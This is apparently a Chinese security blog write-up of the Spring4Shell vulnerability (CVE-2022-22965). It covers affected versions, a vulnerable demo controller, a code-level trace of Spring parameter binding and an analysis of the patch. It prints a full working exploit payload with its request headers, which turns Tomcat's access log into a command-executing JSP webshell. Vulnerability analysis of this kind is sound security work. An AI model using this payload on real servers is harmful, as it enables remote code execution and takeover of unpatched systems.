Spring rce: CVE-2022-22965 漏洞分析
2023-6-8 18:37:34 Author: 攻防之道(查看原文) 阅读量:16 收藏

去年爆出的老洞了,之前刚爆出来的时候关注了下,没深入研究,最近项目中又碰到了,特此记录下。

#01 漏洞概述

利用前提

  • JDK 9 or higher
  • Apache Tomcat as the Servlet container
  • Packaged as WAR
  • spring-webmvc or spring-webflux dependency

影响范围

  • Spring Framework
    • 5.3.0 to 5.3.17
    • 5.2.0 to 5.2.19
    • Older, unsupported versions are also affected

漏洞修复

官方已发布补丁,升级到下面版本即可

  • Spring Framework
    • 5.3.18+
    • 5.2.20+
#02 漏洞环境

前置知识

springmvc 参数自动绑定:为了方便前后端处理参数,在controller 用实体接收参数的时候,会根据实体的类型进行自动绑定和赋值,在后续的业务处理中就可以使用这些自动赋值后的实体进行操作,下面是一个漏洞环境示例

关键组件版本

<spring-framework.version>5.3.17</spring-framework.version>

<tomcat.version>9.0.30</tomcat.version>

目录结构

2个实体entity,一个controller

User entity 内容

@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
private int id;
private
String name;
private
Type type;

}

Type entity 内容

@Data
@NoArgsConstructor
@AllArgsConstructor
public class Type {
private String info;

}

Controller 内容

@RequestMapping("/hello")
@ResponseBody
public Object hello(User user){
log.info("user:{}",user);
return
"ok\n"+user;
}

代码逻辑比较简单,前端传参之后直接使用方法

中的参数绑定User 实体,然后返回user 对应

的内容到前端

本身这个功能很正常,就是为了方便前后端传递参数,但是结合特定的部署环境就容易导致严重的漏洞

直接来看下面的poc ,就能看出问题所在了

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

tomcat 中默认会使用下面的日志格式记录访问日志

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"

 prefix="localhost_access_log" suffix=".txt"

 pattern="%h %l %u %t &quot;%r&quot; %s %b" />

poc 发送到服务器之后相当于将日志格式修改成下面这样

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="webapps/ROOT"

prefix="myshell" suffix=".jsp"

pattern=" %{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i" />

其中的pattern 的格式,可以参考tomcat 文档说明

  • %{xxx}a write remote address (client) (xxx==remote) or connection peer address (xxx=peer)

  • %{xxx}i write value of incoming header with name xxx (escaped if required)

  • %{xxx}o write value of outgoing header with name xxx (escaped if required)

  • %{xxx}c write value of cookie(s) with name xxx (comma separated and escaped if required)

  • %{xxx}r write value of ServletRequest attribute with name xxx (escaped if required, value ?? if request is null)

  • %{xxx}s write value of HttpSession attribute with name xxx (escaped if required, value ?? if request is null)

  • %{xxx}p write local (server) port (xxx==local) or remote (client) port (xxx=remote)

  • %{xxx}t write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx

其中 %{xxx}i 作用就是通过获取http header 中的c1、c2、suffix 三个值,然后赋值给pattern 进行日志记录,其中header 的值如下

"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",

结合pattern 的内容,最后在日志中生成了一句话木马,其实利用链比较简单:

    1. 通过http请求发送poc 

    2. 触发spring 的参数自动绑定

    3. 修改tomcat 日志格式

    4. 将webshell 写入tomcat 的日志 myshell.jsp 中,可以被tomcat 正常解析。

至此漏洞利用成功,附上一份gpt 对于poc 的解释

#03 深入代码分析

接下来我们看下为啥会触发这个漏洞,跟进一下具体的代码逻辑

首先,发送个正常请求

spring-beans-5.3.17-sources.jar!/org/springframework/beans/BeanWrapperImpl.java:176

定位到上述关键代码,spring 在包装bean 的时候竟然主动将class 对象也放进去了,本来在构造poc 的时候还在想,没有哪个程序员会傻到将Class 类内嵌到entity 中进行操作吧,现在有了class 对象就能通过jdk9+ 的模块化功能,直接修改tomcat 的日志格式了。

此时关键调用栈如下

getCachedIntrospectionResults():176, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler(String):230, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler(String):63, BeanWrapperImpl (org.springframework.beans)getPropertyValue(AbstractNestablePropertyAccessor$PropertyTokenHolder):625, AbstractNestablePropertyAccessor (org.springframework.beans)getNestedPropertyAccessor(String):843, AbstractNestablePropertyAccessor (org.springframework.beans)getPropertyAccessorForPropertyPath(String):820, AbstractNestablePropertyAccessor (org.springframework.beans)getPropertyAccessorForPropertyPath(String):821, AbstractNestablePropertyAccessor (org.springframework.beans)doRun():1598, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)run():49, SocketProcessorBase (org.apache.tomcat.util.net)runWorker(ThreadPoolExecutor$Worker):1128, ThreadPoolExecutor (java.util.concurrent)run():628, ThreadPoolExecutor$Worker (java.util.concurrent)run():61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)run():834, Thread (java.lang)

发送poc 再跟进一下,下面的resource 只有在tomcat 部署模式下才会出现,这也是为什么jar 包形式的部署方法无法触发此漏洞。

resources -> {[email protected]} "org.springframework.beans.GenericTypeAwarePropertyDescriptor[name=resources]"

以修改suffix 的poc 为例,可以看到已经可以获取到具体的对象,然后通过赋值,直接可以改变tomcat 的日志格式。从这里也可以看出,赋值是保存在内存中,没有任何文件落地,在服务器重启之后配置就会失效。

其它几个修改日志格式的poc 调用链类似,不再赘述。

#04 补丁分析

通过对官方补丁的跟踪对比

https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15?diff=unified

在 PropertyDescriptor  的获取中,可以看到仅允许 name 和Name 开头的Class 类中的内容被允许,也就是说poc 中通过Class.getMoudle().ClassLoader()  获取的方式已经被死死地限制住了,通过两三行代码修复了这个漏洞。

漏洞环境领取方式:

  1. 关注"攻防之道" 公众号

  2. 回复 “spring” 获取下载链接


文章来源: http://mp.weixin.qq.com/s?__biz=MzIyNDcwODgwMA==&mid=2247485189&idx=1&sn=bc7d8ef1813e6afa543b4fc1d39a7bb3&chksm=e80b96aadf7c1fbc551badab70dde82ce880a3192ac024759218d39166041aecc4bdc0be4a2a#rd
如有侵权请联系:admin#unsafe.sh